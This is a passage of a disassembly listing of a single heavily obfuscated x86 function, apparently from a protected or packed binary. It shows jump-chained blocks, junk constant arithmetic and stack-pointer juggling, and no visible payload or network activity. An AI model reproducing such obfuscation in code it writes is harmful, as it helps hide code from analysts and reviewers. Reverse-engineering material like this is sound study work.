--------------------------------------------------------------------------- loc_59D3E3: ; CODE XREF: sub_581EE9+21CC8j mov dl, 48h neg dl push 5AF5h mov [esp-6E4Eh+arg_6E44+2], ecx jmp loc_59D158 ; --------------------------------------------------------------------------- loc_59D3F4: ; CODE XREF: sub_581EE9+113E9j pop edx push eax push 625h mov [esp-6E94h+arg_6E8A+2], esp add [esp-6E94h+arg_6E8A+2], 4 pop eax push edi push ecx push 6BC47D9h pop ecx jmp loc_592CA3 ; --------------------------------------------------------------------------- loc_59D410: ; CODE XREF: sub_581EE9+1CA7Cj push esi mov esi, 22542D51h sub edx, esi pop esi sub esp, 4 mov [esp-6E8Ch+arg_6E84], eax jmp loc_5A66F4 ; --------------------------------------------------------------------------- loc_59D427: ; CODE XREF: sub_581EE9+1780Dj sub esp, 4 mov [esp-6E72h+arg_6E68+2], edx mov dl, al jmp loc_5A14B5 ; --------------------------------------------------------------------------- loc_59D434: ; CODE XREF: sub_581EE9+1E74Ej mov esi, [esp-6E72h+arg_6E68+2] add esp, 4 push 2448h mov [esp-6E72h+arg_6E68+2], ebp mov ebp, esp jmp loc_592EF4 ; --------------------------------------------------------------------------- loc_59D449: ; CODE XREF: sub_581EE9+19755j mov edx, 0 jmp loc_5A291D ; --------------------------------------------------------------------------- loc_59D453: ; CODE XREF: sub_581EE9+1B8B3j pop esi add eax, ebx jmp loc_5A146B ; --------------------------------------------------------------------------- loc_59D45B: ; CODE XREF: sub_581EE9+11270j pop edi add ebp, 4 xchg ebp, [esp-6E52h+arg_6E48+2] jmp loc_5A51F1 ; --------------------------------------------------------------------------- loc_59D46A: ; CODE XREF: sub_581EE9+1719Ej sub ebp, 7A76640Fh sub ebp, ecx add ebp, 7A76640Fh push [esp-6E66h+arg_6E5C+2] pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_5994D6 ; --------------------------------------------------------------------------- loc_59D48A: ; CODE XREF: sub_581EE9+17E94j mov [esp-6E62h+arg_6E58+2], ecx jmp loc_5A20AD ; --------------------------------------------------------------------------- push 3939h mov [esp-6E5Eh+arg_6E54+2], esi sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], ebx push 0A32ABh pop ebx push edi mov edi, 2A4A290Dh or ebx, edi pop edi push 0D9Eh mov [esp-6E56h+arg_6E4C+2], esi push edi push ebx push eax mov eax, 2395765Ah mov ebx, eax pop eax jmp loc_5996A0 ; --------------------------------------------------------------------------- loc_59D4C7: ; CODE XREF: sub_581EE9+1ACFDj push esp pop eax push edx mov edx, 0B724CB2h neg edx shr edx, 5 push ecx jmp loc_5A2B93 ; --------------------------------------------------------------------------- loc_59D4DA: ; CODE XREF: sub_581EE9+10088j xor al, bl push edx sub esp, 4 jmp loc_593DA9 ; --------------------------------------------------------------------------- loc_59D4E5: ; CODE XREF: sub_581EE9+13991j sub edi, ebp sub edi, 50810F10h sub edi, 52EA4197h pop ebp jmp loc_59FF73 ; --------------------------------------------------------------------------- loc_59D4F9: ; CODE XREF: sub_581EE9+11A40j xor [esp-6EA2h+arg_6E9A], 6CF84FD5h push [esp-6EA2h+arg_6E9A] pop ebx jmp loc_5980A0 ; --------------------------------------------------------------------------- loc_59D509: ; CODE XREF: sub_581EE9+2528Aj sub ecx, 0F0F3D2Fh not ecx jmp loc_594BD0 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59D51E: ; CODE XREF: sub_581EE9+19157j push eax mov eax, 4 sub ecx, eax pop eax push ecx push [esp-6EAAh+arg_6EA4+2] mov ecx, [esp-6EA6h+arg_6E9E] add esp, 4 pop dword ptr [esp-6EAAh+arg_6EA2] mov esp, [esp-6EAEh+arg_6EA4+2] mov [esp-6EAEh+arg_6EA4+2], edx sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], eax push edi mov edi, 44920F6Bh xor dword ptr [esp-6EA6h+arg_6EA2], edi mov edi, [esp-6EA6h+arg_6E9E] jmp loc_59473E ; --------------------------------------------------------------------------- loc_59D556: ; CODE XREF: sub_581EE9+196D6j sub esp, 2 mov [esp+0], bx sub esp, 4 mov [esp-6EB4h+arg_6EAC], ecx mov cl, dl mov bh, cl pop ecx not bh mov dl, bh jmp loc_5A386B ; --------------------------------------------------------------------------- loc_59D574: ; CODE XREF: sub_581EE9+24AA2j add esp, 4 add edi, 2D2755FDh add edi, ebp sub edi, 2D2755FDh mov ebp, [esp-6EBCh+arg_6EB2+2] add esp, 4 jmp loc_59CEAC ; --------------------------------------------------------------------------- loc_59D596: ; CODE XREF: sub_581EE9+21E01j add eax, esi pop esi sub eax, 4 push eax push [esp-6EC0h+arg_6EBA+2] pop eax pop [esp-6EC0h+arg_6EB6+2] mov esp, [esp-6EC4h+arg_6EBA+2] mov [esp-6EC4h+arg_6EBA+2], ebx sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], ebp mov ebp, 138F0A79h jmp loc_5A098D ; --------------------------------------------------------------------------- loc_59D5BB: ; CODE XREF: sub_581EE9+19519j neg dl shr dl, 8 sub dl, 26h or dl, 0F8h sub dl, 2Dh mov cl, dl pop edx xor cl, bh pop ebx shr cl, 6 jmp loc_5971F1 ; --------------------------------------------------------------------------- loc_59D5D7: ; CODE XREF: sub_581EE9+203F1j pop [esp-6E66h+arg_6E5C+2] mov esp, [esp-6E6Ah+arg_6E60+2] push [esp-6E6Ah+arg_6E60+2] mov ecx, [esp-6E66h+arg_6E5C+2] add esp, 4 sub esp, 4 mov [esp-6E66h+arg_6E5C+2], ebx jmp loc_5A1AD1 ; --------------------------------------------------------------------------- loc_59D5F7: ; CODE XREF: sub_581EE9+16A8Ej add bl, 9Eh jmp loc_595AD3 ; --------------------------------------------------------------------------- loc_59D5FF: ; CODE XREF: sub_581EE9+1EC7Bj shl [esp-6E6Ah+arg_6E60+2], cl jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59D607: ; CODE XREF: sub_581EE9+11B40j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59D60C: ; CODE XREF: sub_581EE9+1570Aj pop ebx jmp loc_597B6B ; --------------------------------------------------------------------------- loc_59D612: ; CODE XREF: sub_581EE9+1C7DAj mov dh, 74h dec dh push small 46B9h mov word ptr [esp-6EA4h+arg_6E9A+2], bx mov bl, 0C9h and dh, bl pop bx sub dh, 1 jmp loc_59DBF6 ; --------------------------------------------------------------------------- loc_59D62C: ; CODE XREF: sub_581EE9+16031j mov ecx, 6515219Bh dec ecx sub ecx, 3B8210F3h xor ecx, 4FBE7C49h push edx mov edx, 99D29316h sub ecx, 2592F2Bh add ecx, edx jmp loc_595783 ; --------------------------------------------------------------------------- push [esp-6E62h+arg_6E58+2] push [esp-6E5Eh+arg_6E54+2] pop ecx add esp, 4 push edi push esp pop edi push ebx jmp loc_59CD5F ; --------------------------------------------------------------------------- loc_59D667: ; CODE XREF: sub_581EE9+2185Fj mov esi, 375B380Bh add esi, 0FFFFFFFFh xor esi, 375B380Eh add edx, 4375E6Dh jmp loc_598FA6 ; --------------------------------------------------------------------------- mov esp, [esp-6E5Ah+arg_6E50+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59D68B: ; CODE XREF: sub_581EE9+20D23j xchg edi, [esp-6E5Ah+arg_6E50+2] pop esp push ecx mov ecx, esp add ecx, 4 push eax mov eax, 31E5457Fh shr eax, 1 shr eax, 7 shl eax, 3 xor eax, 18F2A2Ch jmp loc_59BE20 ; --------------------------------------------------------------------------- loc_59D6B0: ; CODE XREF: sub_581EE9+1D72Aj neg eax jmp loc_593788 ; --------------------------------------------------------------------------- loc_59D6B7: ; CODE XREF: sub_581EE9+162E6j push 10C3h jmp loc_59D7F9 ; --------------------------------------------------------------------------- loc_59D6C1: ; CODE XREF: sub_581EE9+17C3Bj mov esi, ebx pop ebx xor eax, esi pop esi mov ecx, eax pop eax mov ebx, ecx jmp loc_5A3389 ; --------------------------------------------------------------------------- loc_59D6D1: ; CODE XREF: sub_581EE9+1D6AEj sub esp, 4 jmp loc_59F51B ; --------------------------------------------------------------------------- loc_59D6DC: ; CODE XREF: sub_581EE9+2038Dj pop edi jmp loc_5A526D ; --------------------------------------------------------------------------- loc_59D6E2: ; CODE XREF: sub_581EE9+11E04j sub esp, 4 jmp loc_59EF42 ; --------------------------------------------------------------------------- loc_59D6ED: ; CODE XREF: sub_581EE9+2086Fj add ebx, 4 jmp loc_5A5472 ; --------------------------------------------------------------------------- loc_59D6F8: ; CODE XREF: sub_581EE9+1275Fj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6E8Ch+arg_6E84] mov esp, [esp-6E8Ch+arg_6E84] xor edx, edx sub esp, 4 mov [esp-6E88h+arg_6E80], edi jmp loc_59F2C9 ; --------------------------------------------------------------------------- loc_59D716: ; CODE XREF: sub_581EE9+19993j and esi, 25172C5Ah neg esi xor esi, 5AE64BA8h add edi, esi mov esi, [esp-6E70h+arg_6E68] jmp loc_592619 ; --------------------------------------------------------------------------- loc_59D72E: ; CODE XREF: sub_581EE9+149E8j push 2BE81099h jmp loc_5922C3 ; --------------------------------------------------------------------------- loc_59D738: ; CODE XREF: sub_581EE9+18C44j mov eax, esp add eax, 4 add eax, 4 xor eax, [esp-6E6Ah+arg_6E60+2] jmp loc_5959F8 ; --------------------------------------------------------------------------- loc_59D74C: ; CODE XREF: sub_581EE9+11FCDj neg ebp jmp loc_5A6240 ; --------------------------------------------------------------------------- loc_59D753: ; CODE XREF: sub_581EE9+188B8j sub al, bh pop ebx sub al, 0DAh jmp loc_59C372 ; --------------------------------------------------------------------------- loc_59D75D: ; CODE XREF: sub_581EE9+1084Cj pop ebp mov ebx, edx jmp loc_59E691 ; --------------------------------------------------------------------------- loc_59D765: ; CODE XREF: sub_581EE9+10793j pop ebx xor ecx, [edi+24h] push edx jmp loc_5A6451 ; --------------------------------------------------------------------------- loc_59D76F: ; CODE XREF: sub_581EE9+1C552j mov ebx, 0E0A7F901h xor ebp, ebx mov ebx, [esp-6EBCh+arg_6EB2+2] add esp, 4 push ebp mov ebp, 4CC95929h jmp loc_5965F8 ; --------------------------------------------------------------------------- loc_59D787: ; CODE XREF: sub_581EE9+12850j pop ecx push edi jmp loc_5A3C20 ; --------------------------------------------------------------------------- loc_59D78E: ; CODE XREF: sub_581EE9+1DCACj sub ebx, esi add ebx, 51BA2F9Ch sub ebx, 7B822A36h jmp loc_59D453 ; --------------------------------------------------------------------------- loc_59D7A1: ; CODE XREF: sub_581EE9+1AC4Bj add esi, 2 xor esi, [esp-6EACh+arg_6EA4] xor [esp-6EACh+arg_6EA4], esi xor esi, [esp-6EACh+arg_6EA4] mov esp, [esp-6EACh+arg_6EA4] jmp loc_59C8ED ; --------------------------------------------------------------------------- loc_59D7B5: ; CODE XREF: sub_581EE9+1BB8Dj add eax, ecx mov ecx, [esp-6EACh+arg_6EA4] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6EA8h+arg_6E9E+2] jmp loc_593CFD ; --------------------------------------------------------------------------- loc_59D7CE: ; CODE XREF: sub_581EE9+13FA0j mov edi, 3D0E53A2h xor ebx, edi pop edi jmp loc_597AAD ; --------------------------------------------------------------------------- loc_59D7DB: ; CODE XREF: sub_581EE9+10F59j mov ebp, 3B774190h add ebp, 0D261E523h add eax, ebp jmp loc_5982DB ; --------------------------------------------------------------------------- loc_59D7ED: ; CODE XREF: sub_581EE9+141C0j push ebp jmp loc_59BFAD ; --------------------------------------------------------------------------- loc_59D7F3: ; CODE XREF: sub_581EE9+11B50j pop edi jmp loc_59DC10 ; --------------------------------------------------------------------------- loc_59D7F9: ; CODE XREF: sub_581EE9+1B7D3j mov [esp-6E88h+arg_6E80], eax mov eax, 69BD51C1h jmp loc_5A662F ; --------------------------------------------------------------------------- loc_59D806: ; CODE XREF: sub_581EE9+11012j mov eax, 4 add ebp, eax pop eax push ebp push [esp-6E66h+arg_6E60+2] pop ebp pop [esp-6E66h+arg_6E5C+2] pop esp push ebx jmp loc_5A2241 ; --------------------------------------------------------------------------- loc_59D81E: ; CODE XREF: sub_581EE9+112B6j mov [esp-6E4Eh+arg_6E44+2], ecx mov ecx, esp push edi mov edi, 6F7E6857h or edi, 398163D2h shl edi, 6 not edi and edi, 2360430Bh jmp loc_5A68DD ; --------------------------------------------------------------------------- loc_59D83F: ; CODE XREF: sub_581EE9+1DE4Aj pop edi jmp loc_5A7108 ; --------------------------------------------------------------------------- loc_59D845: ; CODE XREF: sub_581EE9+16467j xor ecx, [esp-6E72h+arg_6E68+2] pop esp jmp loc_594952 ; --------------------------------------------------------------------------- loc_59D84E: ; CODE XREF: sub_581EE9+1D5C6j push [esp-6E76h+arg_6E6E] pop ebx jmp loc_59AF1C ; --------------------------------------------------------------------------- loc_59D857: ; CODE XREF: sub_581EE9+246D4j neg ecx jmp loc_5A0211 ; --------------------------------------------------------------------------- loc_59D85E: ; CODE XREF: sub_581EE9+15264j mov word ptr [esp-6E76h+arg_6E6E], cx mov cl, 2Dh push eax mov al, 6Eh sub bl, al pop eax sub bl, cl push ecx mov cl, 11h sub cl, 0A3h add bl, cl pop ecx jmp loc_594250 ; --------------------------------------------------------------------------- loc_59D87A: ; CODE XREF: sub_581EE9+16E97j add ebx, 4 xchg ebx, [esp-6EA6h+arg_6E9E] pop esp sub esp, 4 mov [esp-6EA6h+arg_6E9E], ebx mov ebx, 2 add edx, ebx pop ebx xor edx, dword ptr [esp-6EAAh+arg_6EA2] xor dword ptr [esp-6EAAh+arg_6EA2], edx xor edx, dword ptr [esp-6EAAh+arg_6EA2] pop esp sar byte ptr [esp-6EAEh+arg_6EA4+2], cl pushf jmp loc_599636 ; --------------------------------------------------------------------------- loc_59D8A5: ; CODE XREF: sub_581EE9+19DF0j add ecx, 79F960D3h inc ecx jmp loc_59F8B4 ; --------------------------------------------------------------------------- loc_59D8B1: ; CODE XREF: sub_581EE9+18B46j dec edx sub edx, 143D8E31h mov eax, edx pop edx shl eax, 4 xor eax, 4C913357h xchg eax, edi not edi xchg eax, edi or eax, 441C5114h jmp loc_5A4E17 ; --------------------------------------------------------------------------- loc_59D8D1: ; CODE XREF: sub_581EE9+21DF3j add edi, ebp pop ebp jmp loc_5A07E5 ; --------------------------------------------------------------------------- loc_59D8D9: ; CODE XREF: sub_581EE9+24F58j sub al, 8 jmp loc_59B28A ; --------------------------------------------------------------------------- loc_59D8E0: ; CODE XREF: sub_581EE9+2492Cj push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp-6E5Ch+arg_6E54] pop esp mov [esp-6E60h+arg_6E58], edx mov dx, 0A28h and dx, 464Ch xor dx, 20Ch add dx, 368Dh sub dx, 34FFh jmp loc_5A1C25 ; --------------------------------------------------------------------------- loc_59D910: ; CODE XREF: sub_581EE9+1B108j mov eax, [esp-6E56h+arg_6E4C+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E52h+arg_6E48+2] jmp loc_592C21 ; --------------------------------------------------------------------------- loc_59D927: ; CODE XREF: sub_581EE9+1FE60j mov esi, 55AF3EFAh jmp loc_5A206F ; --------------------------------------------------------------------------- loc_59D931: ; CODE XREF: sub_581EE9+249C5j add esp, 4 xor cl, 3Dh push 9C8h jmp loc_599013 ; --------------------------------------------------------------------------- loc_59D944: ; CODE XREF: sub_581EE9+21E71j sub ebx, ecx pop ecx sub ebx, 9A5B0D04h mov eax, ebx jmp loc_59205D ; --------------------------------------------------------------------------- loc_59D954: ; CODE XREF: sub_581EE9+11CD4j push ebp mov ebp, 681F0FF0h jmp loc_5A1B2F ; --------------------------------------------------------------------------- loc_59D95F: ; CODE XREF: sub_581EE9+18F1Ej mov esi, [esp] jmp loc_59DE31 ; --------------------------------------------------------------------------- loc_59D967: ; CODE XREF: sub_581EE9+154A2j pop eax jmp loc_5A42B0 ; --------------------------------------------------------------------------- loc_59D96D: ; CODE XREF: sub_581EE9+2435Bj sub esp, 4 mov [esp-6E7Eh+arg_6E76], ebx mov ebx, 1ACF78A1h mov esi, ebx pop ebx xor ebp, esi pop esi sub ecx, 10632AE3h sub ecx, 1CE468D9h add ecx, ebp add ecx, 1CE468D9h add ecx, 10632AE3h mov ebp, [esp-6E86h+arg_6E7C+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, dword ptr [esp-6E82h+arg_6E7A] pop esp add ecx, 4 xor ecx, [esp-6E86h+arg_6E7C+2] xor [esp-6E86h+arg_6E7C+2], ecx xor ecx, [esp-6E86h+arg_6E7C+2] pop esp pop [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Eh+arg_6E84+2] bts word ptr [esp-6E8Eh+arg_6E84+2], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E8Ah+arg_6E80+2] push 555Ah mov [esp-6E86h+arg_6E7C+2], ebx jmp loc_59C33B ; --------------------------------------------------------------------------- loc_59D9DD: ; CODE XREF: sub_581EE9+1CD0Fj xor edx, 234F11EFh add edx, 1C8C28EBh add ecx, edx pop edx pop eax add ecx, 2 push 79F5h mov [esp-6E8Ah+arg_6E80+2], ecx jmp loc_5A685D ; --------------------------------------------------------------------------- loc_59DA00: ; CODE XREF: sub_581EE9+172ADj mov [esp-6E72h+arg_6E68+2], edx mov edx, esp jmp loc_5A6F0A ; --------------------------------------------------------------------------- loc_59DA0A: ; CODE XREF: sub_581EE9+12CE2j push edx mov edx, 2F7503A5h xor edx, 3C869917h add ebx, edx jmp loc_59FE1D ; --------------------------------------------------------------------------- loc_59DA1D: ; CODE XREF: sub_581EE9+1C70Bj push edx push 24h pop edx jmp loc_599B84 ; --------------------------------------------------------------------------- loc_59DA29: ; CODE XREF: sub_581EE9+24F79j mov ecx, [esp-6E80h+arg_6E76+2] add esp, 4 push ebp push 7583h mov [esp-6E7Ch+arg_6E72+2], eax mov eax, 2AC143AAh push ebp mov ebp, 58F61E99h jmp loc_59B7A0 ; --------------------------------------------------------------------------- loc_59DA4B: ; CODE XREF: sub_581EE9+1AF01j xor esi, eax pop eax sub esp, 4 jmp loc_5978F3 ; --------------------------------------------------------------------------- loc_59DA59: ; CODE XREF: sub_581EE9+1096Dj pop edi push small 3507h mov word ptr [esp-6EC2h+arg_6EBA], bx push esi mov si, 643Ah dec si jmp loc_59813F ; --------------------------------------------------------------------------- loc_59DA6E: ; CODE XREF: sub_581EE9+1E329j mov edi, 0C53583BBh sub ecx, edi pop edi jmp loc_59D7B5 ; --------------------------------------------------------------------------- loc_59DA7B: ; CODE XREF: sub_581EE9+1D6E8j sub esi, 7695071Eh push 54DEh mov [esp-6EBEh+arg_6EB6], ebp jmp loc_595C56 ; --------------------------------------------------------------------------- loc_59DA8E: ; CODE XREF: sub_581EE9+1703Fj neg esi push ebp mov ebp, 3F444366h jmp loc_59ADD7 ; --------------------------------------------------------------------------- loc_59DA9B: ; CODE XREF: sub_581EE9+2391Bj pop eax push ecx jmp loc_59F762 ; --------------------------------------------------------------------------- loc_59DAA2: ; CODE XREF: sub_581EE9+1401Bj sub ebp, 44C46D67h push [esp-6E58h+arg_6E50] pop edx add esp, 4 add ebp, 4 xchg ebp, [esp-6E5Ch+arg_6E54] jmp loc_5A486C ; --------------------------------------------------------------------------- loc_59DABA: ; CODE XREF: sub_581EE9+21672j push [esp-6E5Ch+arg_6E54] pop edx add esp, 4 push 67A0h jmp loc_5A3DF3 ; --------------------------------------------------------------------------- loc_59DACB: ; CODE XREF: sub_581EE9+12035j xor ecx, ebx not ebx push ecx sub esp, 4 mov [esp-6E9Ch+arg_6E92+2], ebx pop ecx pop ebx xchg ecx, edx push edi mov edi, 3F023DCCh xor edx, edi pop edi push edi jmp loc_5948B3 ; --------------------------------------------------------------------------- loc_59DAE9: ; CODE XREF: sub_581EE9+1DA2Bj sub eax, 0B060833h pop esi push ecx mov ecx, 4 sub eax, ecx pop ecx push 357Ch jmp loc_5A1C2D ; --------------------------------------------------------------------------- loc_59DB02: ; CODE XREF: sub_581EE9+1A4EEj add eax, 1C517D21h xor eax, 7C2A64C5h push ebp mov ebp, 413E7398h xor eax, ebp pop ebp jmp loc_59A036 ; --------------------------------------------------------------------------- loc_59DB1A: ; CODE XREF: sub_581EE9+1A34Ej push edx jmp loc_59B152 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA6h+arg_6E9E] push edx jmp loc_5925CF ; --------------------------------------------------------------------------- loc_59DB2A: ; CODE XREF: sub_581EE9+1ACD6j mov cx, word ptr [esp-6E6Ah+arg_6E60+2] push ebp jmp loc_5A6B5C ; --------------------------------------------------------------------------- loc_59DB34: ; CODE XREF: sub_581EE9+24D52j push esp pop ebx add ebx, 4 push 4C0Fh mov [esp-6E62h+arg_6E58+2], ebp mov ebp, 4 add ebx, ebp pop ebp push 7EBFh mov [esp-6E62h+arg_6E58+2], ebx push [esp-6E62h+arg_6E5C+2] pop ebx jmp loc_59E7F4 ; --------------------------------------------------------------------------- loc_59DB5E: ; CODE XREF: sub_581EE9+204E9j xchg eax, [esp-6E62h+arg_6E58+2] pop esp jmp loc_5A49AF ; --------------------------------------------------------------------------- loc_59DB67: ; CODE XREF: sub_581EE9+1CF7Fj push [esp-6E66h+arg_6E60+2] pop eax pop [esp-6E66h+arg_6E5C+2] pop esp sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esi sub esp, 4 jmp loc_5A63F7 ; --------------------------------------------------------------------------- loc_59DB84: ; CODE XREF: sub_581EE9+22E1Fj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59DB89: ; CODE XREF: sub_581EE9+1757Fj mov [esp-6E80h+arg_6E76+2], edi push ebp jmp loc_59807E ; --------------------------------------------------------------------------- mov eax, [esp-6E7Ch+arg_6E72+2] sub esp, 4 mov [esp-6E78h+arg_6E6E+2], ecx mov ecx, esp sub esp, 4 mov [esp+0], esi push eax push edi push 2E9A5717h pop edi dec edi and edi, 22DA0DD0h shr edi, 2 jmp loc_59DE42 ; --------------------------------------------------------------------------- loc_59DBBA: ; CODE XREF: sub_581EE9+1D823j mov [esp-6E6Ch+arg_6E64], edx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59DBC2: ; CODE XREF: sub_581EE9+1F5BCj sub esi, 0D155B61Eh add esi, 40BD260Ch sub esi, 0FFFFFFFFh push edx mov edx, 60927F66h add esi, edx pop edx xor esi, 1AFF21BDh jmp loc_5982AC ; --------------------------------------------------------------------------- loc_59DBE5: ; CODE XREF: sub_581EE9+21F65j sub edi, 4A832B05h pop ebx push 580Fh jmp loc_596372 ; --------------------------------------------------------------------------- loc_59DBF6: ; CODE XREF: sub_581EE9+1B73Ej push bx jmp loc_59F499 ; --------------------------------------------------------------------------- loc_59DBFD: ; CODE XREF: sub_581EE9+1A1D8j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5997E7 ; --------------------------------------------------------------------------- loc_59DC10: ; CODE XREF: sub_581EE9+1B90Bj add esp, 4 jmp loc_59EDEC ; --------------------------------------------------------------------------- loc_59DC1B: ; CODE XREF: sub_581EE9+1EB6Bj sub edx, esi pop esi shr edx, 5 jmp loc_5A11B1 ; --------------------------------------------------------------------------- loc_59DC26: ; CODE XREF: sub_581EE9+1BDC9j push edx push 38296BD3h pop edx not edx xor edx, 8407D2D4h jmp loc_5A520E ; --------------------------------------------------------------------------- loc_59DC3A: ; CODE XREF: sub_581EE9+11151j sub eax, edx mov edx, [esp-6E5Eh+arg_6E54+2] add esp, 4 xor eax, [esp-6E62h+arg_6E58+2] xor [esp-6E62h+arg_6E58+2], eax xor eax, [esp-6E62h+arg_6E58+2] mov esp, [esp-6E62h+arg_6E58+2] mov [esp-6E62h+arg_6E58+2], esi sub esp, 4 mov [esp-6E5Eh+arg_6E54+2], ebx push [esp-6E5Eh+arg_6E54+2] jmp loc_59223E ; --------------------------------------------------------------------------- loc_59DC62: ; CODE XREF: sub_581EE9+15F66j push [esp-6E72h+arg_6E6E] mov ecx, [esp-6E6Eh+arg_6E64+2] add esp, 4 pop [esp-6E72h+arg_6E68+2] jmp loc_5A3477 ; --------------------------------------------------------------------------- loc_59DC77: ; CODE XREF: sub_581EE9+1E7BFj mov edi, 498A46D0h and edi, 133A347Ah jmp loc_598F4E ; --------------------------------------------------------------------------- loc_59DC87: ; CODE XREF: sub_581EE9+1EF71j sub eax, 85DA0D7Ch mov ecx, eax jmp loc_59EF52 ; --------------------------------------------------------------------------- loc_59DC93: ; CODE XREF: sub_581EE9+1F48Dj pop ebx xchg ecx, [esp-6E7Ah+arg_6E72] jmp loc_5A0854 ; --------------------------------------------------------------------------- loc_59DC9C: ; CODE XREF: sub_581EE9+1D56Bj dec eax shr eax, 2 shr eax, 8 sub eax, 6E3E93Ch add ebp, eax pop eax sub esp, 4 mov [esp-6E7Ah+arg_6E72], ecx push esi jmp loc_59DC26 ; --------------------------------------------------------------------------- loc_59DCB7: ; CODE XREF: sub_581EE9+20AC8j mov esi, 5DB76226h xor eax, esi pop esi add eax, 0CF166EF0h add ebx, eax pop eax push ecx push eax mov eax, 44B62D76h add eax, 7F814AC2h jmp loc_59EDA4 ; --------------------------------------------------------------------------- loc_59DCD8: ; CODE XREF: sub_581EE9+18B1Cj neg ebp push edi mov edi, 486871D4h not edi shl edi, 7 jmp loc_597920 ; --------------------------------------------------------------------------- loc_59DCEA: ; CODE XREF: sub_581EE9+1E7B7j push edi mov edi, esp jmp loc_5A2745 ; --------------------------------------------------------------------------- loc_59DCF2: ; CODE XREF: sub_581EE9+12295j push ecx push esp pop ecx push 1275h jmp loc_5A06A5 ; --------------------------------------------------------------------------- loc_59DCFF: ; CODE XREF: sub_581EE9+221E5j push ax pushf jmp loc_592887 ; --------------------------------------------------------------------------- loc_59DD07: ; CODE XREF: sub_581EE9+23BA1j push esi mov esi, 9641CBBh sub edx, esi pop esi jmp loc_59CB91 ; --------------------------------------------------------------------------- loc_59DD15: ; CODE XREF: sub_581EE9+1D033j push ebp mov ebp, 2 jmp loc_5A6AD0 ; --------------------------------------------------------------------------- loc_59DD20: ; CODE XREF: sub_581EE9+21FF9j pop edi jmp loc_59C8D7 ; --------------------------------------------------------------------------- loc_59DD26: ; CODE XREF: sub_581EE9+1476Bj pop esi add esp, 4 shl ebx, 7 jmp loc_5A1EAB ; --------------------------------------------------------------------------- loc_59DD32: ; CODE XREF: sub_581EE9+14484j mov ecx, 4ED27406h push ebp mov ebp, 7143209h sub ecx, 250F576Ah jmp loc_59C356 ; --------------------------------------------------------------------------- loc_59DD48: ; CODE XREF: sub_581EE9+153E1j push esi mov esi, 62B57855h add esi, 56560A9Bh sub esi, 126512FFh jmp loc_5A4274 ; --------------------------------------------------------------------------- loc_59DD5F: ; CODE XREF: sub_581EE9+10FC8j push [esp-6E6Ah+arg_6E64+2] pop esi pop [esp-6E6Ah+arg_6E60+2] mov esp, [esp-6E6Eh+arg_6E64+2] jmp loc_594FCC ; --------------------------------------------------------------------------- loc_59DD6F: ; CODE XREF: sub_581EE9+1D009j add esi, ebx mov ebx, [esp-6E6Eh+arg_6E64+2] add esp, 4 push 23C9h mov [esp-6E6Eh+arg_6E64+2], ebx mov ebx, 63134801h jmp loc_597205 ; --------------------------------------------------------------------------- loc_59DD89: ; CODE XREF: sub_581EE9+182CBj dec edx push eax mov eax, 0D2F2E30Ch add edx, eax pop eax sub esp, 4 mov [esp-6EA6h+arg_6E9E], ebp mov ebp, edx jmp loc_5A61A6 ; --------------------------------------------------------------------------- loc_59DDA3: ; CODE XREF: sub_581EE9+16526j and eax, ebx mov ebx, [esp-6E7Eh+arg_6E76] add esp, 4 or eax, eax jz loc_59E58D push 7FF7h mov [esp-6E7Eh+arg_6E76], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-6E7Eh+arg_6E76] jmp loc_59E651 ; --------------------------------------------------------------------------- loc_59DDD4: ; CODE XREF: sub_581EE9+108A6j mov [esp-6EC0h+arg_6EB6+2], edx mov edx, esp jmp loc_5A6499 ; --------------------------------------------------------------------------- loc_59DDDE: ; CODE XREF: sub_581EE9+1559Fj add ecx, 4 add ecx, 2 xor ecx, [esp-6E56h+arg_6E4C+2] xor [esp-6E56h+arg_6E4C+2], ecx xor ecx, [esp-6E56h+arg_6E4C+2] mov esp, [esp-6E56h+arg_6E4C+2] cmp cx, ax pushf jmp loc_597521 ; --------------------------------------------------------------------------- loc_59DDFC: ; CODE XREF: sub_581EE9+216ADj xor eax, edi pop edi or ebp, eax pop eax jmp loc_5A3574 ; --------------------------------------------------------------------------- loc_59DE07: ; CODE XREF: sub_581EE9+1A491j xor cl, ah pop eax sub al, 5Fh jmp loc_59EA9C ; --------------------------------------------------------------------------- loc_59DE11: ; CODE XREF: sub_581EE9+118D2j push ecx sub [esp-6E98h+arg_6E8E+2], 708D2767h pop ebx add ebx, 708D2767h push [esp-6E9Ch+arg_6E92+2] pop ecx add esp, 4 add ebx, edi jmp loc_59908C ; --------------------------------------------------------------------------- loc_59DE31: ; CODE XREF: sub_581EE9+1BA79j add esp, 4 push 29F4h mov [esp-6EA6h+arg_6E9E], edi push eax jmp loc_5A0EE3 ; --------------------------------------------------------------------------- loc_59DE42: ; CODE XREF: sub_581EE9+1BCCCj add edi, 1B4EC804h jmp loc_59EC90 ; --------------------------------------------------------------------------- loc_59DE4D: ; CODE XREF: sub_581EE9+1E3D1j add esp, 4 add ebx, eax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-6E6Ch+arg_6E64] pop esp mov [esp-6E70h+arg_6E68], ebp jmp loc_59558B ; --------------------------------------------------------------------------- loc_59DE6A: ; CODE XREF: sub_581EE9+1ED0Dj add esi, 4 jmp loc_5974B7 ; --------------------------------------------------------------------------- loc_59DE75: ; CODE XREF: sub_581EE9+1CBAEj push edi mov edi, 1C2D0569h shr edi, 1 xor edi, 